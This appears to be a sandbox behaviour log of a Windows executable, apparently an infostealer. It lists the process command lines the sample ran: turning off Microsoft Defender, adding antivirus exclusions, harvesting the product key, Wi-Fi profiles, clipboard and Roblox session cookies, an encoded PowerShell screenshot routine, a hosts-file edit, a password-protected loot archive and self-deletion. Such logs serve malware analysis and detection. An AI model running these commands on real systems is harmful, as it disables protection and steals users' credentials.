Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe""	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('VERISON NOT SUPPORT (WAIT FOR UPDATE)', 0, 'CLOSING ALL APPS FOR BOTNET', 0+16);close()"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h +s "C:\Users\user\Desktop\KpHYfxnJs6.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESED03.tmp" "c:\Users\user\AppData\Local\Temp\bifucm0t\CSCB2EB15F711B84CFFA3556DECAB136738.TMP"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\getmac.exe getmac
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FO LIST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tree.com tree /A /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping localhost -n 3

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll
